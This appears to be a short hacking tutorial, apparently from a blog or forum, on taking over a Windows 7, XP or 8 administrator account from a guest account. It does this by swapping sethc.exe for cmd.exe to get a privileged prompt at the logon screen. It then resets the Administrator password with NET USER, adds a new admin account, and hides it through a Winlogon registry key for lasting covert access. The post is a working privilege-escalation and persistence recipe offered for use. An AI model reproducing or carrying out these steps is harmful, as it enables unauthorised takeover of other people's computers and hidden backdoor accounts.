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In this tutorial i will tell you how to hack a computer's admin accnt

In windows 7 or xp or windows 8

Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command promptwith administratorprivilages because no user has logged on. From there we can hackthe administrator password,even from a guest account. Prerequisites Guest account with write access to system 32. Here is how to do that - *.Go toC:/windows/system32 *
.Copy cmd.exe and paste it on desktop *.
rename cmd.exe to sethc.exe *.
Copy the new sethc.exe to system 32,
when windowsasks for overwriting the file,then click yes. *.
Now Log out from your guest account and at the user select window,press shift key 5 times. *.
Instead of Sticky Key confirmation dialog,command prompt with full administratorprivileges will open. *.Now type “NET USERADMINISTRATOR aaa” where “aaa” can be any password you like and press enter. *.
You will see “ The Command completed successfully” and then exit the command promptand login into administratorwith your new password. *.Congrats You have hacked admin from guest account. Further.. Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administratorprivileges.
Then hide your newly created admin account by - Go to registry editor and navigate to this key [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList] Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever :)
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